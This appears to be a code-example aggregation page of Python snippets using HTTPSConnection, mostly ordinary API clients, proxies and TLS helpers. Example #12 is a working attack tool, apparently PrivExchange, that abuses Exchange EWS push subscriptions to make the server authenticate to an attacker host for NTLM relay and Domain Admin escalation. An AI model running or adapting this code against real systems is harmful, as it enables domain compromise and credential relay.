コード例 #1
0
ファイル: pushbullet.py プロジェクト: patrickpeeters/SickRage
    def _sendPushbullet(self,
                        pushbullet_api=None,
                        pushbullet_device=None,
                        event=None,
                        message=None,
                        notificationType=None,
                        method=None,
                        force=False):

        if not sickbeard.USE_PUSHBULLET and not force:
            return False

        if pushbullet_api == None:
            pushbullet_api = sickbeard.PUSHBULLET_API
        if pushbullet_device == None:
            pushbullet_device = sickbeard.PUSHBULLET_DEVICE

        if method == 'POST':
            uri = '/api/pushes'
        else:
            uri = '/api/devices'

        logger.log(u"Pushbullet event: " + str(event), logger.DEBUG)
        logger.log(u"Pushbullet message: " + str(message), logger.DEBUG)
        logger.log(u"Pushbullet api: " + str(pushbullet_api), logger.DEBUG)
        logger.log(u"Pushbullet devices: " + str(pushbullet_device),
                   logger.DEBUG)
        logger.log(u"Pushbullet notification type: " + str(notificationType),
                   logger.DEBUG)

        http_handler = HTTPSConnection("api.pushbullet.com")

        authString = base64.encodestring('%s:' % (pushbullet_api)).replace(
            '\n', '')

        if notificationType == None:
            testMessage = True
            try:
                logger.log(
                    u"Testing Pushbullet authentication and retrieving the device list.",
                    logger.DEBUG)
                http_handler.request(
                    method,
                    uri,
                    None,
                    headers={'Authorization': 'Basic %s:' % authString})
            except (SSLError, HTTPException):
                logger.log(u"Pushbullet notification failed.", logger.ERROR)
                return False
        else:
            testMessage = False
            try:
                data = {
                    'title': event.encode('utf-8'),
                    'body': message.encode('utf-8'),
                    'device_iden': pushbullet_device,
                    'type': notificationType
                }
                http_handler.request(
                    method,
                    uri,
                    body=urlencode(data),
                    headers={'Authorization': 'Basic %s' % authString})
                pass
            except (SSLError, HTTPException):
                return False

        response = http_handler.getresponse()
        request_body = response.read()
        request_status = response.status

        if request_status == 200:
            if testMessage:
                return request_body
            else:
                logger.log(u"Pushbullet notifications sent.", logger.DEBUG)
                return True
        elif request_status == 410:
            logger.log(u"Pushbullet auth failed: %s" % response.reason,
                       logger.ERROR)
            return False
        else:
            logger.log(u"Pushbullet notification failed.", logger.ERROR)
            return False
コード例 #2
0
ファイル: thingspeak.py プロジェクト: zfjia/mqttwarn
            srv.logging.warn(
                "unable to extract fields or values, skipping: %s / %s: %s",
                field_id, message, str(e))
            return False

    if build == "true":
        srv.logging.debug(
            "thingspeak content building. Update %s to '%s' stored for later submission.",
            field_id, message.encode('utf-8'))
        return True

    data = {'api_key': apikey}
    data.update(builddata)
    builddata.clear()

    http_handler = HTTPSConnection("api.thingspeak.com")

    try:
        http_handler.request(
            "POST",
            "/update",
            headers={'Content-type': "application/x-www-form-urlencoded"},
            body=urlencode(sorted(data.items())))
    except (SSLError, HTTPException), e:
        srv.logging.warn("Thingspeak update failed: %s" % str(e))
        return False

    response = http_handler.getresponse()
    body = response.read()

    if body == '0':
コード例 #3
0
 def open(self):
     from httplib import HTTPSConnection
     connection = HTTPSConnection('www.yammer.com')
     return connection
コード例 #4
0
ファイル: github.py プロジェクト: mdhorn/bloom
def do_github_get_req(path, auth=None, site='api.github.com'):
    headers = get_bloom_headers(auth)
    conn = HTTPSConnection(site)
    conn.request('GET', path, '', headers)
    return conn.getresponse()
コード例 #5
0
ファイル: github.py プロジェクト: mdhorn/bloom
def do_github_post_req(path, data, auth=None, site='api.github.com'):
    headers = get_bloom_headers(auth)
    conn = HTTPSConnection(site)
    conn.request('POST', path, json.dumps(data), headers)
    return conn.getresponse()
コード例 #6
0
ファイル: url.py プロジェクト: vfedoroff/leetcode-python
from httplib import HTTPSConnection
import json

if __name__ == "__main__":
    connection = HTTPSConnection("www.httpbin.org")
    connection.connect()
    headers = {'Content-type': 'application/json'}
    foo = {'text': 'Hello HTTP #1 **cool**, and #1!'}
    payload = json.dumps(foo)
    connection.request('POST', "/post", body=payload, headers=headers)
    response = connection.getresponse()
    print(response.read().decode())
コード例 #7
0
def proxy(request):
    PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())

    host = None

    if 'geonode.geoserver' in settings.INSTALLED_APPS:
        from geonode.geoserver.helpers import ogc_server_settings
        hostname = (
            ogc_server_settings.hostname, ) if ogc_server_settings else ()
        PROXY_ALLOWED_HOSTS += hostname
        host = ogc_server_settings.netloc

    if 'url' not in request.GET:
        return HttpResponse(
            "The proxy service requires a URL-encoded URL as a parameter.",
            status=400,
            content_type="text/plain")

    raw_url = request.GET['url']
    url = urlsplit(raw_url)
    locator = str(url.path)
    if url.query != "":
        locator += '?' + url.query
    if url.fragment != "":
        locator += '#' + url.fragment

    if not settings.DEBUG:
        if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
            return HttpResponse(
                "DEBUG is set to False but the host of the path provided to the proxy service"
                " is not in the PROXY_ALLOWED_HOSTS setting.",
                status=403,
                content_type="text/plain")
    headers = {}

    if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
            url=raw_url, host=host):
        headers["Cookie"] = request.META["HTTP_COOKIE"]

    if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
        headers["Content-Type"] = request.META["CONTENT_TYPE"]

    if url.scheme == 'https':
        conn = HTTPSConnection(url.hostname, url.port)
    else:
        conn = HTTPConnection(url.hostname, url.port)
    conn.request(request.method, locator, request.body, headers)

    result = conn.getresponse()

    # If we get a redirect, let's add a useful message.
    if result.status in (301, 302, 303, 307):
        response = HttpResponse(
            ('This proxy does not support redirects. The server in "%s" '
             'asked for a redirect to "%s"' %
             (url, result.getheader('Location'))),
            status=result.status,
            content_type=result.getheader("Content-Type", "text/plain"))

        response['Location'] = result.getheader('Location')
    else:
        response = HttpResponse(result.read(),
                                status=result.status,
                                content_type=result.getheader(
                                    "Content-Type", "text/plain"))

    return response
コード例 #8
0
def create_https_connection(host,
                            port=HTTPSConnection.default_port,
                            cafile=None,
                            client_certfile=None,
                            client_keyfile=None,
                            keyfile_passwd=None,
                            tls_version_min="tls1.1",
                            tls_version_max="tls1.2",
                            **kwargs):
    """
    Create a customized HTTPSConnection object.

    :param host:  The host to connect to
    :param port:  The port to connect to, defaults to
               HTTPSConnection.default_port
    :param cafile:  A PEM-format file containning the trusted
                    CA certificates
    :param client_certfile:
            A PEM-format client certificate file that will be used to
            identificate the user to the server.
    :param client_keyfile:
            A file with the client private key. If this argument is not
            supplied, the key will be sought in client_certfile.
    :param keyfile_passwd:
            A path to the file which stores the password that is used to
            encrypt client_keyfile. Leave default value if the keyfile
            is not encrypted.
    :returns An established HTTPS connection to host:port
    """
    # pylint: disable=no-member
    tls_cutoff_map = {
        "ssl2": ssl.OP_NO_SSLv2,
        "ssl3": ssl.OP_NO_SSLv3,
        "tls1.0": ssl.OP_NO_TLSv1,
        "tls1.1": ssl.OP_NO_TLSv1_1,
        "tls1.2": ssl.OP_NO_TLSv1_2,
    }
    # pylint: enable=no-member

    if cafile is None:
        raise RuntimeError("cafile argument is required to perform server "
                           "certificate verification")

    if not os.path.isfile(cafile) or not os.access(cafile, os.R_OK):
        raise RuntimeError(
            "cafile \'{file}\' doesn't exist or is unreadable".format(
                file=cafile))

    # remove the slice of negating protocol options according to options
    tls_span = get_proper_tls_version_span(tls_version_min, tls_version_max)

    # official Python documentation states that the best option to get
    # TLSv1 and later is to setup SSLContext with PROTOCOL_SSLv23
    # and then negate the insecure SSLv2 and SSLv3
    # pylint: disable=no-member
    ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
    ctx.options |= (ssl.OP_ALL | ssl.OP_NO_COMPRESSION | ssl.OP_SINGLE_DH_USE
                    | ssl.OP_SINGLE_ECDH_USE)

    # high ciphers without RC4, MD5, TripleDES, pre-shared key and secure
    # remote password. Uses system crypto policies on some platforms.
    ctx.set_ciphers(constants.TLS_HIGH_CIPHERS)

    # pylint: enable=no-member
    # set up the correct TLS version flags for the SSL context
    for version in TLS_VERSIONS:
        if version in tls_span:
            # make sure the required TLS versions are available if Python
            # decides to modify the default TLS flags
            ctx.options &= ~tls_cutoff_map[version]
        else:
            # disable all TLS versions not in tls_span
            ctx.options |= tls_cutoff_map[version]

    ctx.verify_mode = ssl.CERT_REQUIRED
    ctx.check_hostname = True
    ctx.load_verify_locations(cafile)

    if client_certfile is not None:
        if keyfile_passwd is not None:
            with open(keyfile_passwd) as pwd_f:
                passwd = pwd_f.read()
        else:
            passwd = None
        ctx.load_cert_chain(client_certfile, client_keyfile, passwd)

    return HTTPSConnection(host, port, context=ctx, **kwargs)
コード例 #9
0
 def _build(self):
     if self._proto == 'https':
         return HTTPSConnection(self._host)
     else:
         return HTTPConnection(self._host)
コード例 #10
0
def proxy(request):
    PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
    hostname = (ogc_server_settings.hostname, ) if ogc_server_settings else ()
    PROXY_ALLOWED_HOSTS += hostname

    if 'url' not in request.GET:
        return HttpResponse(
            "The proxy service requires a URL-encoded URL as a parameter.",
            status=400,
            content_type="text/plain")

    raw_url = request.GET['url']
    url = urlsplit(raw_url)

    locator = url.path
    if url.query != "":
        locator += '?' + url.query
    if url.fragment != "":
        locator += '#' + url.fragment

    if not settings.DEBUG:
        if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
            return HttpResponse(
                "DEBUG is set to False but the host of the path provided "
                "to the proxy service is not in the "
                "PROXY_ALLOWED_HOSTS setting.",
                status=403,
                content_type="text/plain")
    headers = {}

    if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
            url=raw_url, host=ogc_server_settings.netloc):
        headers["Cookie"] = request.META["HTTP_COOKIE"]

    if request.META.get('HTTP_AUTHORIZATION'):
        headers['AUTHORIZATION'] = request.META.get('HTTP_AUTHORIZATION')

    if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
        headers["Content-Type"] = request.META["CONTENT_TYPE"]

    if request.META.get('HTTP_ACCEPT'):
        headers['ACCEPT'] = request.META['HTTP_ACCEPT']

    if url.scheme == 'https':
        conn = HTTPSConnection(url.hostname, url.port)
    else:
        conn = HTTPConnection(url.hostname, url.port)

    conn.request(request.method, locator, request.body, headers)
    result = conn.getresponse()

    response = HttpResponse(
        result.read(),
        status=result.status,
        content_type=result.getheader("Content-Type", "text/plain"),
    )

    if result.getheader('www-authenticate'):
        response['www-authenticate'] = "GeoNode"

    return response
コード例 #11
0
def transfer(connection, module, direction, transfer_func):
    transfers_service = connection.system_service().image_transfers_service()
    transfer = transfers_service.add(
        otypes.ImageTransfer(
            image=otypes.Image(
                id=module.params['id'],
            ),
            direction=direction,
        )
    )
    transfer_service = transfers_service.image_transfer_service(transfer.id)

    try:
        # After adding a new transfer for the disk, the transfer's status will be INITIALIZING.
        # Wait until the init phase is over. The actual transfer can start when its status is "Transferring".
        while transfer.phase == otypes.ImageTransferPhase.INITIALIZING:
            time.sleep(module.params['poll_interval'])
            transfer = transfer_service.get()

        proxy_url = urlparse(transfer.proxy_url)
        context = ssl.create_default_context()
        auth = module.params['auth']
        if auth.get('insecure'):
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
        elif auth.get('ca_file'):
            context.load_verify_locations(cafile=auth.get('ca_file'))

        proxy_connection = HTTPSConnection(
            proxy_url.hostname,
            proxy_url.port,
            context=context,
        )

        transfer_func(
            transfer_service,
            proxy_connection,
            proxy_url,
            transfer.signed_ticket
        )
        return True
    finally:
        transfer_service.finalize()
        while transfer.phase in [
            otypes.ImageTransferPhase.TRANSFERRING,
            otypes.ImageTransferPhase.FINALIZING_SUCCESS,
        ]:
            time.sleep(module.params['poll_interval'])
            transfer = transfer_service.get()
        if transfer.phase in [
            otypes.ImageTransferPhase.UNKNOWN,
            otypes.ImageTransferPhase.FINISHED_FAILURE,
            otypes.ImageTransferPhase.FINALIZING_FAILURE,
            otypes.ImageTransferPhase.CANCELLED,
        ]:
            raise Exception(
                "Error occurred while uploading image. The transfer is in %s" % transfer.phase
            )
        if module.params.get('logical_unit'):
            disks_service = connection.system_service().disks_service()
            wait(
                service=disks_service.service(module.params['id']),
                condition=lambda d: d.status == otypes.DiskStatus.OK,
                wait=module.params['wait'],
                timeout=module.params['timeout'],
            )
コード例 #12
0
def main():
    parser = argparse.ArgumentParser(
        description=
        'Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx'
    )
    parser.add_argument("host",
                        type=str,
                        metavar='HOSTNAME',
                        help="Hostname/ip of the Exchange server")
    parser.add_argument("-u",
                        "--user",
                        metavar='USERNAME',
                        help="username for authentication")
    parser.add_argument(
        "-d",
        "--domain",
        metavar='DOMAIN',
        help="domain the user is in (FQDN or NETBIOS domain name)")
    parser.add_argument(
        "-p",
        "--password",
        metavar='PASSWORD',
        help=
        "Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied"
    )
    parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
    parser.add_argument("--no-ssl",
                        action='store_true',
                        help="Don't use HTTPS (connects on port 80)")
    parser.add_argument("--exchange-port",
                        help="Alternative EWS port (default: 443 or 80)")
    parser.add_argument("-ah",
                        "--attacker-host",
                        required=True,
                        help="Attacker hostname or IP")
    parser.add_argument(
        "-ap",
        "--attacker-port",
        default=80,
        help="Port on which the relay attack runs (default: 80)")
    parser.add_argument(
        "--attacker-page",
        default="/privexchange/",
        help="Page to request on attacker server (default: /privexchange/)")
    parser.add_argument("--debug",
                        action='store_true',
                        help='Enable debug output')
    args = parser.parse_args()

    ews_url = "/EWS/Exchange.asmx"

    # Init logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    stream = logging.StreamHandler(sys.stderr)
    stream.setLevel(logging.DEBUG)
    formatter = logging.Formatter('%(levelname)s: %(message)s')
    stream.setFormatter(formatter)
    logger.addHandler(stream)

    # Should we log debug stuff?
    if args.debug is True:
        logger.setLevel(logging.DEBUG)

    if args.password is None and args.hashes is None:
        args.password = getpass.getpass()

    # Init connection
    if not args.no_ssl:
        # HTTPS = default
        port = 443
        if args.exchange_port:
            port = int(args.exchange_port)
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(args.host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(args.host, port)
    else:
        # Otherwise: HTTP
        port = 80
        if args.exchange_port:
            port = int(args.exchange_port)
        session = HTTPConnection(args.host, port)

    # Construct attacker url
    if args.attacker_port != 80:
        attacker_url = 'http://%s:%d%s' % (
            args.attacker_host, int(args.attacker_port), args.attacker_page)
    else:
        attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page)
    logging.info('Using attacker URL: %s', attacker_url)
    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
    headers = {
        "Authorization": 'NTLM %s' % negotiate,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % attacker_url, headers)

    res = session.getresponse()
    res.read()

    # Copied from ntlmrelayx httpclient.py
    if res.status != 401:
        logging.info(
            'Status code returned: %d. Authentication does not seem required for URL',
            res.status)
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            logging.error(
                'NTLM Auth not offered by URL, offered protocols: %s',
                res.getheader('WWW-Authenticate'))
            return False
    except (KeyError, TypeError):
        logging.error('No authentication requested by the server for url %s',
                      ews_url)
        return False

    logging.debug('Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        logging.error('No NTLM challenge returned from server')
        return

    if args.hashes:
        lm_hash_h, nt_hash_h = args.hashes.split(':')
        # Convert to binary format
        lm_hash = binascii.unhexlify(lm_hash_h)
        nt_hash = binascii.unhexlify(nt_hash_h)
        args.password = ''
    else:
        nt_hash = ''
        lm_hash = ''

    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user,
                                        args.password, args.domain, lm_hash,
                                        nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization": 'NTLM %s' % auth,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % attacker_url, headers)
    res = session.getresponse()

    logging.debug('HTTP status: %d', res.status)
    body = res.read()
    logging.debug('Body returned: %s', body)
    if res.status == 200:
        logging.info(
            'Exchange returned HTTP status 200 - authentication was OK')
        # Parse XML with ElementTree
        root = ET.fromstring(body)
        code = None
        for response in root.iter(
                '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'
        ):
            code = response.text
        if not code:
            logging.error('Could not find response code element in body: %s',
                          body)
            return
        if code == 'NoError':
            logging.info('API call was successful')
        elif code == 'ErrorMissingEmailAddress':
            logging.error(
                'The user you authenticated with does not have a mailbox associated. Try a different user.'
            )
        else:
            logging.error('Unknown error %s', code)
            for errmsg in root.iter(
                    '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'
            ):
                logging.error('Server returned: %s', errmsg.text)
    elif res.status == 401:
        logging.error(
            'Server returned HTTP status 401 - authentication failed')
    else:
        logging.error('Server returned HTTP %d: %s', res.status, body)
コード例 #13
0
def post_benchmark(benchmark):
	conn = HTTPSConnection(host)
	conn.request("POST", "/preflop/6/benchmark", json.dumps(benchmark))
	conn.close()
コード例 #14
0
ファイル: views.py プロジェクト: luistorres1997/geonode
def proxy(request,
          url=None,
          response_callback=None,
          sec_chk_hosts=True,
          sec_chk_rules=True,
          **kwargs):
    # Security rules and settings
    PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())

    # Sanity url checks
    if 'url' not in request.GET and not url:
        return HttpResponse(
            "The proxy service requires a URL-encoded URL as a parameter.",
            status=400,
            content_type="text/plain")

    raw_url = url or request.GET['url']
    raw_url = urljoin(settings.SITEURL,
                      raw_url) if raw_url.startswith("/") else raw_url
    url = urlsplit(raw_url)
    locator = str(url.path)
    if url.query != "":
        locator += '?' + url.query
    if url.fragment != "":
        locator += '#' + url.fragment

    # White-Black Listing Hosts
    if sec_chk_hosts and not settings.DEBUG:
        site_url = urlsplit(settings.SITEURL)
        if site_url.hostname not in PROXY_ALLOWED_HOSTS:
            PROXY_ALLOWED_HOSTS += (site_url.hostname, )

        if check_ogc_backend(geoserver.BACKEND_PACKAGE):
            from geonode.geoserver.helpers import ogc_server_settings
            hostname = (
                ogc_server_settings.hostname, ) if ogc_server_settings else ()
            if hostname not in PROXY_ALLOWED_HOSTS:
                PROXY_ALLOWED_HOSTS += hostname

        if url.query and ows_regexp.match(url.query):
            ows_tokens = ows_regexp.match(url.query).groups()
            if len(
                    ows_tokens
            ) == 4 and 'version' == ows_tokens[0] and StrictVersion(
                    ows_tokens[1]) >= StrictVersion("1.0.0") and StrictVersion(
                        ows_tokens[1]
                    ) <= StrictVersion("3.0.0") and ows_tokens[2].lower() in (
                        'getcapabilities') and ows_tokens[3].upper() in (
                            'OWS', 'WCS', 'WFS', 'WMS', 'WPS', 'CSW'):
                if url.hostname not in PROXY_ALLOWED_HOSTS:
                    PROXY_ALLOWED_HOSTS += (url.hostname, )

        if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
            return HttpResponse(
                "DEBUG is set to False but the host of the path provided to the proxy service"
                " is not in the PROXY_ALLOWED_HOSTS setting.",
                status=403,
                content_type="text/plain")

    # Security checks based on rules; allow only specific requests
    if sec_chk_rules:
        # TODO: Not yet implemented
        pass

    # Collecting headers and cookies
    headers = {}
    cookies = None
    csrftoken = None

    if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
            url=raw_url, host=url.hostname):
        cookies = request.META["HTTP_COOKIE"]

    for cook in request.COOKIES:
        name = str(cook)
        value = request.COOKIES.get(name)
        if name == 'csrftoken':
            csrftoken = value
        cook = "%s=%s" % (name, value)
        cookies = cook if not cookies else (cookies + '; ' + cook)

    csrftoken = get_token(request) if not csrftoken else csrftoken

    if csrftoken:
        headers['X-Requested-With'] = "XMLHttpRequest"
        headers['X-CSRFToken'] = csrftoken
        cook = "%s=%s" % ('csrftoken', csrftoken)
        cookies = cook if not cookies else (cookies + '; ' + cook)

    if cookies:
        if 'JSESSIONID' in request.session and request.session['JSESSIONID']:
            cookies = cookies + '; JSESSIONID=' + \
                request.session['JSESSIONID']
        headers['Cookie'] = cookies

    if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
        headers["Content-Type"] = request.META["CONTENT_TYPE"]

    access_token = None
    # we give precedence to obtained from Aithorization headers
    if 'HTTP_AUTHORIZATION' in request.META:
        auth_header = request.META.get('HTTP_AUTHORIZATION',
                                       request.META.get('HTTP_AUTHORIZATION2'))
        if auth_header:
            access_token = get_token_from_auth_header(auth_header)
    # otherwise we check if a session is active
    elif request and request.user.is_authenticated:
        access_token = get_token_object_from_session(request.session)

        # we extend the token in case the session is active but the token expired
        if access_token and access_token.is_expired():
            extend_token(access_token)

    if access_token:
        headers['Authorization'] = 'Bearer %s' % access_token

    site_url = urlsplit(settings.SITEURL)

    pragma = "no-cache"
    referer = request.META[
        "HTTP_REFERER"] if "HTTP_REFERER" in request.META else \
        "{scheme}://{netloc}/".format(scheme=site_url.scheme,
                                      netloc=site_url.netloc)
    encoding = request.META[
        "HTTP_ACCEPT_ENCODING"] if "HTTP_ACCEPT_ENCODING" in request.META else "gzip"

    headers.update({
        "Pragma": pragma,
        "Referer": referer,
        "Accept-encoding": encoding,
    })

    if url.scheme == 'https':
        conn = HTTPSConnection(url.hostname, url.port)
    else:
        conn = HTTPConnection(url.hostname, url.port)
    parsed = urlparse(raw_url)
    parsed._replace(path=locator.encode('utf8'))

    _url = parsed.geturl()

    if request.method == "GET" and access_token and 'access_token' not in _url:
        query_separator = '&' if '?' in _url else '?'
        _url = ('%s%saccess_token=%s' % (_url, query_separator, access_token))

    conn.request(request.method, _url, request.body, headers)
    response = conn.getresponse()
    content = response.read()
    status = response.status
    content_type = response.getheader("Content-Type", "text/plain")

    # decompress GZipped responses if not enabled
    if content and response.getheader('Content-Encoding') == 'gzip':
        from StringIO import StringIO
        import gzip
        buf = StringIO(content)
        f = gzip.GzipFile(fileobj=buf)
        content = f.read()

    if response_callback:
        kwargs = {} if not kwargs else kwargs
        kwargs.update({
            'response': response,
            'content': content,
            'status': status,
            'content_type': content_type
        })
        return response_callback(**kwargs)
    else:
        # If we get a redirect, let's add a useful message.
        if status in (301, 302, 303, 307):
            _response = HttpResponse(
                ('This proxy does not support redirects. The server in "%s" '
                 'asked for a redirect to "%s"' %
                 (url, response.getheader('Location'))),
                status=status,
                content_type=content_type)
            _response['Location'] = response.getheader('Location')
            return _response
        else:
            return HttpResponse(content=content,
                                status=status,
                                content_type=content_type)
コード例 #15
0
        args.password = getpass("Password: ")

    access_token = None

    # Since documentation on how to work with Google tokens
    # can be difficult to find, we'll demo a basic version
    # here. Note that responses could refer to a Captcha
    # URL that would require a browser.

    # Using Facebook or MSN's custom authentication requires
    # a browser, but the process is the same once a token
    # has been retrieved.

    # Request an access token from Google:
    try:
        conn = HTTPSConnection('www.google.com')
    except:
        print('Could not connect to Google')
        sys.exit()

    params = urlencode({
        'accountType': 'GOOGLE',
        'service': 'mail',
        'Email': JID(args.jid).bare,
        'Passwd': args.password
    })
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    try:
        conn.request('POST', '/accounts/ClientLogin', params, headers)
        resp = conn.getresponse().read()
        data = {}
コード例 #16
0
 def fetch_response(self, request):
     """Executes request and fetchs service response"""
     connection = HTTPSConnection(self.SERVER_URL)
     connection.request(request.method.upper(), request.to_url())
     return connection.getresponse().read()